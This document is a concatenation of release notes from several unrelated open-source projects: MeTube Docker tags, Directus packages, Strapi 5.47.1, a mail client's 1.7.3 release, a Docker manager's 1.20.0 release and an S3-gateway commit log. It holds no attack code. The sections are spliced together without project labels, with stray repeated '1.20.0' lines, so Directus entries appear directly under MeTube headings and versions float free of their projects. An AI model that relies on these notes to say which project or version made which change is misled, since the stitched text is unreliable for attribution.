Docker Images

Docker images have been built and pushed:

Docker Hub:

• alexta69/metube:latest
• alexta69/metube:2026.06.06

GitHub Container Registry:

• ghcr.io/alexta69/metube:latest
• ghcr.io/alexta69/metube:2026.06.06

Changes

• add option for following nightly yt-dlp releases (closes #999) (ee20512)

⚠️ Potential Breaking Changes

Fixed health check results not being shared in multi-instance settings. Restricted /server/health to authenticated users (#27160)

• Health checks are cached by default and shared across multi-instance deployments

• /server/health will return 404 for unauthenticated requests, use /server/ping for liveness checks

• cache, rateLimiter and rateLimiterGlobal health checks have been replaced by a generic redis check using the redis: prefix

• @directus/api

  • Fixed health check results not being shared in multi-instance settings. Restricted /server/health to authenticated users (#27160 by @ComfortablyCoding)

✨ New Features & Improvements

• @directus/api
  • Allow disabling the health check endpoint via HEALTHCHECK_ENABLED or selectively disabled checked services via HEALTHCHECK_SERVICES (#27160 by @ComfortablyCoding)
• @directus/types
  • Fixed health check results not being shared in multi-instance settings. Restricted /server/health to authenticated users (#27160 by @ComfortablyCoding)
• @directus/env
  • Allow disabling the health check endpoint via HEALTHCHECK_ENABLED or selectively disabled checked services via HEALTHCHECK_SERVICES (#27160 by @ComfortablyCoding)
• @directus/memory
  • Added TTL support for local KV and cache stores (#27160 by @ComfortablyCoding)
• @directus/system-data
  • Updated directus_oauth_* system collection visibility to match other system collections (#27682 by @hanneskuettner)

🐛 Bug Fixes & Optimizations

• @directus/app
  • Fixed project setup silently ignoring invalid license keys (#27671 by @ComfortablyCoding)
  • Fixed tick rendering when count exceeds display limit in v-slider (#27644 by @HZooly)
  • Consolidated URLs and emails into shared constants (#27641 by @HZooly)
  • Capped datepicker year to prevent invalid date (#27659 by @HZooly)
  • Fixed EXTENSIONS_PATH and EXTENSIONS_LOCATION env vars not being respected by the Vite dev server (#27642 by @HZooly)
  • Added notice on license page with oig link (#27661 by @robluton)
  • Fixed bug on tooltip value when decimals is 0 in pie chart panel (#27356 by @Prateet-Github)
  • Added missing collection note translations for the directus_oauth_* system collections (#27682 by @hanneskuettner)
  • Fixed search input not trimming whitespace, causing queries with leading or trailing spaces to return no results (#27359 by @khanahmad4527)
  • Added minor copy change to license onboarding and license key interface (#27651 by @robluton)
  • Updated license request links. (#27652 by @HZooly)
  • Added support for translatable flow names via the existing $t: prefix and translation strings, matching the field/collection label pattern. The flow name input in the flow editor now exposes the translation picker. (#27472 by @khanahmad4527)
  • Removed unsupported json filter function from the studio (#27669 by @sourav-18)
• @directus/api
  • Fixed nested deep query parameters being dropped when filters use dynamic variables (#27676 by @mazen-salah)
  • Fixed bulk creation of itemless drafts always fails (#27683 by @ComfortablyCoding)
  • Prevented setting a custom user provider when not entitled to SSO (#27675 by @ComfortablyCoding)
  • Fixed aliased relational fields in GraphQL queries, fragments and REST queries (#27054 by @AlexGaillard)
  • Fixed failed itemless drafts being dropped from version reads when limit=-1 (#27578 by @alvarosabu)
  • Fixed singletons allowing multiple itemless versions (#27532 by @formfcw)
  • Fixed issue causing duplicate admin roles on first admin creation (#27663 by @robluton)
  • Fixed project setup silently ignoring invalid license keys (#27671 by @ComfortablyCoding)
• @directus/sdk
  • Fixed health check results not being shared in multi-instance settings. Restricted /server/health to authenticated users (#27160 by @ComfortablyCoding)
  • Fixed SingletonCollections incorrectly including core schema collections (#27196 by @kheiner)
• @directus/constants
  • Consolidated URLs and emails into shared constants (#27641 by @HZooly)

📦 Published Versions

• @directus/app@16.0.0-rc.1
• @directus/api@36.0.0-rc.1
• @directus/composables@11.5.0-rc.1
• @directus/constants@14.4.0-rc.1
• create-directus-extension@12.0.0-rc.1
• @directus/env@6.0.0-rc.1
• @directus/extensions@4.0.0-rc.1
• @directus/extensions-registry@4.0.0-rc.1
• @directus/extensions-sdk@18.0.0-rc.1
• @directus/memory@4.0.0-rc.1
• @directus/pressure@4.0.0-rc.1
• @directus/schema-builder@1.0.0-rc.1
• @directus/storage-driver-azure@13.0.0-rc.1
• @directus/storage-driver-cloudinary@13.0.0-rc.1
• @directus/storage-driver-gcs@13.0.0-rc.1
• @directus/storage-driver-s3@13.0.0-rc.1
• @directus/storage-driver-supabase@4.0.0-rc.1
• @directus/system-data@4.5.0-rc.1
• @directus/themes@2.0.0-rc.1
• @directus/types@16.0.0-rc.1
• @directus/utils@13.5.0-rc.1
• @directus/validation@3.0.0-rc.1
• @directus/sdk@22.0.0-rc.1

New features

• add removeOrphans option to project deploy/redeploy (#2785 by @khanhx)
• prune idle volume browser helper containers (#2767 by @Zgrill2)

Bug fixes

• slog-go nil pointer dereference (#2781 by @lohrbini)
• dashboard card buttons paddings overlaps(c1a0bda by @kmendell)
• disable schema display on text selection(058f062 by @kmendell)
• clear / check for default jwt secret(ae914bd by @kmendell)

Dependencies

• bump date-fns from 4.2.1 to 4.3.0 (#2745 by @dependabot[bot])
• bump @sveltejs/kit from 2.60.1 to 2.61.1 (#2748 by @dependabot[bot])
• bump docker/login-action from 4.1.0 to 4.2.0 (#2739 by @dependabot[bot])
• bump eps1lon/actions-label-merge-conflict from 3 to 3.0.3 (#2743 by @dependabot[bot])
• bump depot/build-push-action from 1.17.0 to 1.18.0 (#2738 by @dependabot[bot])
• bump golangci/golangci-lint-action from 9.2.0 to 9.2.1 (#2740 by @dependabot[bot])
• bump github/codeql-action from 4.35.5 to 4.36.0 (#2741 by @dependabot[bot])
• bump github.com/nicholas-fedor/shoutrrr from 0.15.0 to 0.15.1 (#2747 by @dependabot[bot])
• bump @tanstack/svelte-query from 6.1.30 to 6.1.33 (#2744 by @dependabot[bot])
• bump react-email from 6.2.0 to 6.3.3 (#2749 by @dependabot[bot])
• bump react and @types/react (#2821 by @dependabot[bot])
• bump svelte from 5.55.9 to 5.56.1 (#2798 by @dependabot[bot])
• bump react-email from 6.3.3 to 6.5.0 (#2806 by @dependabot[bot])
• bump prettier-plugin-svelte from 4.0.1 to 4.1.0 (#2811 by @dependabot[bot])
• bump react-dom from 19.2.6 to 19.2.7 (#2799 by @dependabot[bot])
• bump @xyflow/svelte from 1.5.2 to 1.6.0 (#2809 by @dependabot[bot])
• bump eps1lon/actions-label-merge-conflict from 3.0.3 to 3.1.0 (#2801 by @dependabot[bot])
• bump date-fns from 4.3.0 to 4.4.0 (#2810 by @dependabot[bot])
• bump github/codeql-action from 4.36.0 to 4.36.1 (#2800 by @dependabot[bot])
• bump to go 1.26.4(31efe1a by @kmendell)

Full Changelog: v1.19.5...v1.20.0

1.20.0

1.20.0

1.20.0

1.7.3 (2026-06-04)

Features

• Mail: Inline attachment preview — reliable MIME detection with inline PDF on desktop and mobile
• Mail: Preview composer attachments inline (click to open)
• Mail: Preview .eml (message/rfc822) attachments like an email
• Mail: Read receipts (MDN, RFC 8098)
• Mail: Editable, layout-preserving quote island when replying
• Mail: Surface the most severe SPF result and hide the "via" badge on spoofed mail
• Calendar: Per-viewer colors for shared calendars (#345)
• Filters: Extended filter rules — attachment field and multi-value conditions
• Settings: New built-in themes — Aurora Glass and Elastic
• Settings: Theme cards render as a mini mailbox mockup from theme colors, with light/dark variant chips
• Plugins: Localizable sandboxed plugins (manifest locales + api.i18n.t)
• Plugins: /api/translate proxy and email body exposed to plugins
• Admin: Toggle for search-engine indexing (robots)
• Admin: passwordHashFile in admin.json
• Admin: sessionSecretFile and oauthClientSecretFile for file-based secrets in JSON config
• PWA: Configurable install screenshots (per-domain)
• i18n: Hungarian locale support

Fixes

• Files: Store Files as real FileNode hierarchy, migrate legacy flat-named files on load, and list folders via FileNode/get so they are visible (#379)
• Files: Treat a blob-less FileNode as the only folder signal and migrate legacy dir-markers
• Mail: Empty Trash for shared and group folders (#387)
• Mail: Move mail from a shared group inbox to a personal inbox (#375)
• Mail: Preserve the HTML signature when sending a quick reply
• Mail: Stop body clipping under the fold when the email sets html/body height: 100%
• Mail: Drop single-letter R:/I: subject prefix tokens and deduplicate localized reply/forward prefixes
• Mail: No more 404 console spam for missing sender favicons
• Auth: Discover OIDC metadata server-side to avoid CORS failures (#382)
• Send: Route the Sent copy to the shared-mailbox account on per-identity send
• Routing: Honour basePath in the plugin sandbox, http.post proxy, and branding
• i18n: Localize the PWA install prompt, reply/forward quote header (incl. sender address), <html lang>, and per-locale <head> description; add missing settings.folders.role_memos key
• Themes: Plugin slot iframes inherit host font and color tokens
• Theme: Gate preview "open in new tab" on inline-safe MIME types
• Appearance: Move Themes settings into the Appearance category with a distinct tab icon; clicking the active theme is a no-op
• UI: Fix invisible dark-mode borders (border token collided with secondary)
• UI: Remove the 16px empty strip beside the collapsed sidebar
• UI: Align top bars to a uniform h-14 height and the account selector header to the search/reply toolbars
• UI: Close pane gaps by centering the resize handle on the seam
• Settings: Fix section gears permanently hijacking the active tab

5.47.1 (2026-06-03)

🔥 Bug fix

• deleteMany respects filters combined with relation (#25420)
• improve i18n plugin translations (#22714)
• resolve ajv ReDoS vulnerability by forcing ajv@8.18.0 (#26141)
• admin: use ISO 639-1 da for Danish admin locale (#26322)
• content-manager: documentId(s) shown for relation when entry title set to numeric field (#25622)
• content-manager: guard repeatable field .map() crash on relation… (#26421)
• content-manager: fix frontend validation if not using "draft and publish" (#25300)
• core: skip session secret check for API-only apps (#26390)
• data-transfer: preserve core store when config stage is excluded (#26484)
• deps: upgrade koa-session to v7.0.2 (#26140)
• homepage: homepage count-documents slow on large D&P tables (#26370)
• i18n: preserve non-localized field inheritance (#26367)
• strapi: preserve tsbuildinfo across develop restarts (#26264)
• upgrade: simplify registry URL resolution (#25027)

📚 Documentation Changes

• security: overhaul vulnerability reporting policy (#26393)

⚙️ Chore

• admin: remove punycode dependency (#26189)
• deps: bump axios from 1.16.0 to 1.16.1 (#26456)
• deps: bump express-rate-limit from 8.2.1 to 8.5.2 (#26457)
• deps: bump @hono/node-server from 1.19.9 to 1.19.14 (#26458)
• deps: bump qs from 6.15.0 to 6.15.2 (#26417)
• deps: bump @babel/plugin-transform-modules-systemjs from 7.25.9 to 7.29.4 (#26256)
• deps: bump hono from 4.11.9 to 4.12.23 (#26455)
• deps: bump @tootallnate/once from 2.0.0 to 2.0.1 (#26218)
• docs: migrate docusaurus config to typescript (#26471)
• mcp: clarify registration lifecycle and simplify error messages (#26517)
• upload: remove aiMetadataJobsCleanup cron job (#26442)

💅 Enhancement

• core: lazy-load node-schedule and umzug at boot (#26267)
• core: eliminate @strapi/typescript-utils from boot path (#26270)
• core/core: lazy-load typescript-utils in Strapi and compile (#26266)
• strapi: hash-cache peer-dep check; demote env-vars log to debug (#26269)
• strapi: lazy-require worker-only deps in dev primary (#26268)

❤️ Thank You

• Andrei L @unrevised6419
• Aurélien GEORGET
• Ben Irvin @innerdvations
• DMehaffy @derrickmehaffy
• Jamie Howard @jhoward1994
• Jayesh Patel @itsmejay80
• Jonas Thelemann
• José Luis @SalahAdDin
• markkaylor @markkaylor
• mehmet turac @mturac
• Michael Olund
• Nico André @nclsndr
• Paul Bratslavsky @PaulBratslavsky
• pksr @pksr
• Subh aush singh
• Vishal Kumar Singh @singhvishalkr
• Weijie Sun @swjcpy

Changelog

• 3cf10d8 chore(deps): bump github.com/Azure/azure-sdk-for-go/sdk/storage/azblob
• cd3f2ff chore(deps): bump github.com/Azure/go-ntlmssp from 0.1.0 to 0.1.1
• deda805 chore(deps): bump sigstore/cosign-installer from 4.1.1 to 4.1.2
• 325ab6e chore(deps): bump the dev-dependencies group with 19 updates
• fbe2a4b chore(deps): bump the dev-dependencies group with 7 updates
• 2ed8b78 chore(deps): bump the dev-dependencies group with 9 updates
• e4fa31c chore: fix sidecar flag in runtests to correctly pass test option
• db3478d chore: update go package dependencies
• 861c5f5 feat: add bucket metrics tag when request specifies a bucket
• d1fba07 feat: add custom route and middleware options
• 8ae566d feat: add new ErrNoSpaceLeftOnDevice API error for ENOSPC errors
• 20939bd feat: extract gateway runtime into embeddable package
• 9f786b3 feat: global error refactoring
• cb609e4 feat: replace webui client-side name filter with server-side prefix filter
• d2fa265 feat: support sha512, md5, xxhash3, xxhash64, xxhash128 data integrity checksums
• e6aa9de fix: apply CORS middleware to admin CreateBucket route
• 8d5b2be fix: check PutObjectTagging/LegalHold/Retention permissions on PutObject,CopyObject and CreateMultipartUpload
• e137e8d fix: connection early termination resulting in internal error
• a5fc7c1 fix: decode URL hash in webui before parsing bucket/prefix
• 5774702 fix: enforce required SignedHeaders validation for SigV4 requests
• 0e165ed fix: expose x-amz-storage-class in CORS response headers
• 4ef090d fix: fix empty ownership control rules panic
• fe3cfbf fix: forward slash url encoded used as bucket/key separator
• ed1ad6b fix: honor explicit public bucket policy deny
• 2c0844a fix: ignore implicit directories for Get/HeadObject
• cd0b4e6 fix: normalize object keys during bucket policy evaluation
• e69d073 fix: reject SigV2 requests
• eecc1a7 fix: reject invalid PostObject keys
• 27971f2 fix: remove unsigned chunk reader caching
• d498d48 fix: replace misleading webui CORS error toast with generic network error message
• dd27c6c fix: scoutfs multipart alignment check for last part
• bb3cdd9 fix: skip integration tests not compatible in sidecar
• 5cb5541 fix: store object multipart upload metadata compressed

Changelog

Features

• 66ba9d9: feat: Add language pt-BR (Portuguese Brazilian) (#1743) (@antraxbr666)

Others

• 24bdf67: update deps (@seriousm4x)

Docker Images

Docker images have been built and pushed:

Docker Hub:

• alexta69/metube:latest
• alexta69/metube:2026.05.30

GitHub Container Registry:

• ghcr.io/alexta69/metube:latest
• ghcr.io/alexta69/metube:2026.05.30

Changes

• styling improvements (897d52c)

⚠️ Potential Breaking Changes

Introduced VERSION_KEY_ constants and renamed main to published @alvarosabu (#27397)*
Backward Compatibility: You can now use ?version=published to resolve versions of the main item(s) via the version query parameter. For backward compatibility, ?version=main will continue to work.

Replaced status field with archived boolean in collection settings @alvarosabu (#27397)
Backward Compatibility: Existing collections with string-based status fields continue to work unchanged; newly created collections now default to a boolean "Archived" field instead of the string "Status" field

Deprecated the VResizeable component @formfcw (#27437)

• Deprecation for extensions: The globally registered VResizeable component has been deprecated. Extension authors using <v-resizeable> should migrate to @directus/vue-split-panel or their own implementation.

Updated type system, borders, and theme variables @formfcw (#27437)

• Potential breaking change for theme extensions: headerShadow and sidebarShadow removed from LayoutConfig interface
• Potential breaking change for theme extensions: boxShadow removed from header theme rules schema
• Potential breaking change for theme extensions: sidebarShadow no longer exposed in layout wrapper state

Updated module navigation bar spacing and styling @HZooly (#27437)

• Potential breaking change in theme extensions: Removed navigation.project.borderColor / navigation.project.borderWidth / navigation.project.background from theming. No action is required — these props will simply no longer have any effect.

Locked published items in versioned collections from editing and added a header action button to edit in the draft version @alvarosabu (#27397)

• Breaking change — new behavior for versioned collections Published items in versioned collections are now locked. Edits must be made through the draft version.

Removed rounded buttons and adopted shared header action button across all views @formfcw (#27437)

• Potential breaking change for extensions: The rounded prop has been removed from v-button. Extensions using rounded will still render correctly but buttons will appear as rounded rectangles instead of circles. No functional impact.

Changed license to MSCL-1.0-GPL (#27417)

• Breaking Change: Relicensed from BUSL-1.1 to MSCL-1.0-GPL (Monospace Sustainable Core License, Version 1.0).

Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437)

• Potential breaking change for theme extensions: The theme properties navigation.background, navigation.backgroundAccent, navigation.borderWidth, navigation.borderColor, header.background, header.borderWidth, and header.borderColor have been removed and replaced by shell.background, shell.backgroundAccent, shell.borderWidth, and shell.borderColor.
• Potential breaking change for theme extensions: Custom themes overriding any of these removed properties must migrate to the new shell scope. The corresponding CSS variables change from --theme--navigation--background, --theme--navigation--background-accent, --theme--navigation--border-*, --theme--header--background, and --theme--header--border-* to --theme--shell--background, --theme--shell--background-accent, and --theme--shell--border-*.

Removed the extra confirmation step from the publish flow @alvarosabu (#27487)

• Breaking change — new publish flow: Publishing a version no longer shows an additional confirmation dialog after confirming changes in the comparison modal. The item is published directly once the changes are confirmed.

Updated sidebar styles @formfcw (#27437)

• Potential breaking change for theme extensions: Removed section.toggle.borderWidth / section.toggle.borderColor in favor of section-level border tokens. No action is required — these props will simply no longer have any effect.
• Potential breaking change for theme extensions: Removed sidebarShadow and headerShadow from defineLayout(). No action is required — these props will simply no longer have any effect.

Refactored focus ring from border/box-shadow to outline @formfcw (#27437)

• Potential breaking change for theme extensions: borderColorFocus, boxShadowHover, and boxShadowFocus are removed from the theme schema — custom themes referencing these will lose their focus overrides silently
• Potential breaking change for interface extensions that relied on --theme--form--field--input--border-color-focus or --theme--form--field--input--box-shadow-focus CSS variables will need to migrate to --theme--form--field--input--focus-ring-color

Updated header bar elements and deprecated the headline slot @formfcw (#27437)

• Deprecation for extensions: The headline slot on the private view header bar has been deprecated. Existing content keeps rendering, but consumers using <template #headline> will now see a deprecation hint from Volar.

Changed the default of IP_TRUST_PROXY from true to false to harden the default deployment against IP spoofing. (#27607)
The IP_TRUST_PROXY default was changed from true to false. If you run Directus behind a reverse proxy and rely on X-Forwarded-For (or similar) headers for client IP resolution, you must now explicitly set IP_TRUST_PROXY to true or a more specific trust configuration.

• @directus/app
  • Locked published items in versioned collections from editing and added a header action button to edit in the draft version @alvarosabu (#27397 by @formfcw)
  • Removed rounded buttons and adopted shared header action button across all views @formfcw (#27437 by @formfcw)
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
  • Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437 by @formfcw)
  • Removed the extra confirmation step from the publish flow @alvarosabu (#27487 by @alvarosabu)
• @directus/api
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/themes

  • Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)

  • Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437 by @formfcw)

  • Updated sidebar styles @formfcw (#27437 by @formfcw)

  • Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)

    :::notice

    • Deprecation for extensions: The globally registered v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.
    • Deprecation for extensions: On v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.
    • Potential Breaking change for theme extensions: The theme properties header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.

    :::

• @directus/types

  • Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)

  • Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437 by @formfcw)

  • Updated sidebar styles @formfcw (#27437 by @formfcw)

  • Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)

    :::notice

    • Deprecation for extensions: The globally registered v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.
    • Deprecation for extensions: On v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.
    • Potential Breaking change for theme extensions: The theme properties header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.

    :::

• @directus/extensions
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/extensions-registry
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/extensions-sdk
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/format-title
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/memory
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/pressure
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/release-notes-generator
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/update-check
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/validation
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/schema
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/schema-builder
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/specs
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/storage
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/storage-driver-cloudinary
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/storage-driver-supabase
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/storage-driver-azure
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/storage-driver-gcs
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/storage-driver-local
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/storage-driver-s3
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/stores
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• create-directus-extension
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• create-directus-project
  • Changed license to MSCL-1.0-GPL (#27417 by @ComfortablyCoding)
• @directus/env
  • Changed the default of IP_TRUST_PROXY from true to false to harden the default deployment against IP spoofing. (#27607 by @br41nslug)
• @directus/sdk

  • Refactor sdk error to use class over object (#27417 by @ComfortablyCoding)

    :::warning
    Requests that fail will now throw a RequestError instead of returning a response with an error property.
    :::

✨ New Features & Improvements

• @directus/app

  • Introduced VERSION_KEY_* constants and renamed main to published @alvarosabu (#27397 by @formfcw)

  • Added auto-save for version editing @alvarosabu (#27449 by @alvarosabu)

  • Fixed Image Editor save button to use split button @HZooly (#27437 by @formfcw)

  • Added split-menu slot to v-button and migrate primary header actions @formfcw (#27437 by @formfcw)

  • Added AI-powered translations to the translations interface, including glossary, style guide, and configurable default model settings derived from the enabled providers and allowed models. (#26940 by @bryantgillespie)

  • Added version support to getItemRoute and update all callers to preserve version context when navigating to items from layouts and interfaces @alvarosabu (#27397 by @formfcw)

  • Added behavior to auto-switch to the draft version on the first edit of published item @alvarosabu (#27507 by @alvarosabu)

  • Added Publish without Review action to the publish split menu with shortcut @alvarosabu (#27501 by @alvarosabu)

  • Updated Visual Editor header bar buttons @formfcw (#27437 by @formfcw)

  • Updated content route middleware to handle singleton collections and draft flow via route guards @alvarosabu (#27397 by @formfcw)

  • Replaced status field with archived boolean in collection settings @alvarosabu (#27397 by @formfcw)

  • Updated module bar buttons style @HZooly (#27437 by @formfcw)

  • Deprecated the VResizeable component @formfcw (#27437 by @formfcw)

  • Updated VChip component to appear as a pill in form field label, group accordion, group tabs, kanban, deployment status, extension item, marketplace extension list item, marketplace extension banner, and user popover @formfcw (#27462 by @formfcw)

  • Updated type system, borders, and theme variables @formfcw (#27437 by @formfcw)

  • Rendered non-clickable version menu without directus_versions read access @alvarosabu (#27461 by @alvarosabu)

  • Added item-less draft creation flow for versioned collections @alvarosabu (#27397 by @formfcw)

  • Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)

  • Updated Visual Editor popover/modal action buttons @formfcw (#27437 by @formfcw)

  • Updated UI for the Draft & Publish workflow @formfcw (#27437 by @formfcw)

  • Updated mobile appearance of drawer sidebar @formfcw (#27437 by @formfcw)

  • Moved Promote/Publish button to header actions @alvarosabu (#27397 by @formfcw)

  • Updated primary header actions to show label and replace outlined header action buttons @formfcw (#27437 by @formfcw)

  • Updated SearchInput component to match the new design @formfcw (#27437 by @formfcw)

  • Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)

  • Refactored header bar action slots and reorganized CTAs @formfcw (#27437 by @formfcw)

    :::notice

    • Deprecation for extensions: The actions:append slot in the header bar has been deprecated in favor of the new actions:primary slot for primary CTAs. Existing actions:append usage keeps rendering in the secondary-actions zone, but consumers will now see a deprecation hint from Volar.

    :::

  • Added navigation logic on discarding item-less versions @alvarosabu (#27397 by @formfcw)

  • Put the sidebar into the content area @HZooly (#27437 by @formfcw)

  • Updated color system for VChip and VersionMenu components @formfcw (#27437 by @formfcw)

  • Updated content section spacing and drawer content spacing @HZooly (#27437 by @formfcw)

  • Extracted the card subheader into a reusable subheader component @HZooly (#27437 by @formfcw)

  • Added version select to collection page @alvarosabu (#27397 by @formfcw)

  • Updated sidebar styles @formfcw (#27437 by @formfcw)

  • Renamed "Promote" to "Publish" in version menu and disabled create version and published selection for item-less versions @alvarosabu (#27397 by @formfcw)

  • Added version query param guards on content-item route @alvarosabu (#27397 by @formfcw)

  • Improved bookmark flow @formfcw (#27450 by @formfcw)

  • Forwarded theme tokens and i18n strings from Studio to the visual-editing iframe @formfcw (#27469 by @formfcw)

  • Refactored focus ring from border/box-shadow to outline @formfcw (#27437 by @formfcw)

  • Introduced VersionChip component @formfcw (#27437 by @formfcw)

  • Updated theme preview component to match the new design @formfcw (#27437 by @formfcw)

  • Updated collab avatar indicator design @formfcw (#27437 by @formfcw)

  • Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)

    :::notice

    • Deprecation for extensions: The globally registered v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.
    • Deprecation for extensions: On v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.
    • Potential Breaking change for theme extensions: The theme properties header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.

    :::

  • Updated header bar elements and deprecated the headline slot @formfcw (#27437 by @formfcw)

  • Ensured to switch to the draft version when visually editing an item of a versioned collection @formfcw (#27595 by @formfcw)

  • Extracted reusable ModuleBarButton component @formfcw (#27437 by @formfcw)

  • Moved client-validation to promote version workflow instead of save version @alvarosabu (#27397 by @formfcw)

  • Added Create New action to publish split menu with shortcut @alvarosabu (#27425 by @alvarosabu)

• @directus/api
  • Introduced VERSION_KEY_* constants and renamed main to published @alvarosabu (#27397 by @formfcw)
  • Added auto-save for version editing @alvarosabu (#27449 by @alvarosabu)
  • Added AI-powered translations to the translations interface, including glossary, style guide, and configurable default model settings derived from the enabled providers and allowed models. (#26940 by @bryantgillespie)
  • Added Publish without Review action to the publish split menu with shortcut @alvarosabu (#27501 by @alvarosabu)
  • Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)
  • Added JSON filtering, alias and sorting support (#26981 by @br41nslug)
  • Added support for item-less versions @Nitwel (#27397 by @formfcw)
  • Added support for the version query parameter in collections @Nitwel (#27397 by @formfcw)
• @directus/constants
  • Introduced VERSION_KEY_* constants and renamed main to published @alvarosabu (#27397 by @formfcw)
• @directus/env
  • Added auto-save for version editing @alvarosabu (#27449 by @alvarosabu)
  • Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)
• @directus/system-data
  • Added auto-save for version editing @alvarosabu (#27449 by @alvarosabu)
  • Replaced status field with archived boolean in collection settings @alvarosabu (#27397 by @formfcw)
  • Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)
• @directus/types
  • Added auto-save for version editing @alvarosabu (#27449 by @alvarosabu)
  • Updated type system, borders, and theme variables @formfcw (#27437 by @formfcw)
  • Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)
  • Refactored focus ring from border/box-shadow to outline @formfcw (#27437 by @formfcw)
  • Added support for item-less versions @Nitwel (#27397 by @formfcw)
  • Added support for the version query parameter in collections @Nitwel (#27397 by @formfcw)
• @directus/errors
  • Added Publish without Review action to the publish split menu with shortcut @alvarosabu (#27501 by @alvarosabu)
• @directus/composables
  • Updated type system, borders, and theme variables @formfcw (#27437 by @formfcw)
  • Added version select to collection page @alvarosabu (#27397 by @formfcw)
• @directus/themes
  • Updated type system, borders, and theme variables @formfcw (#27437 by @formfcw)
  • Refactored focus ring from border/box-shadow to outline @formfcw (#27437 by @formfcw)
  • Updated header bar elements and deprecated the headline slot @formfcw (#27437 by @formfcw)
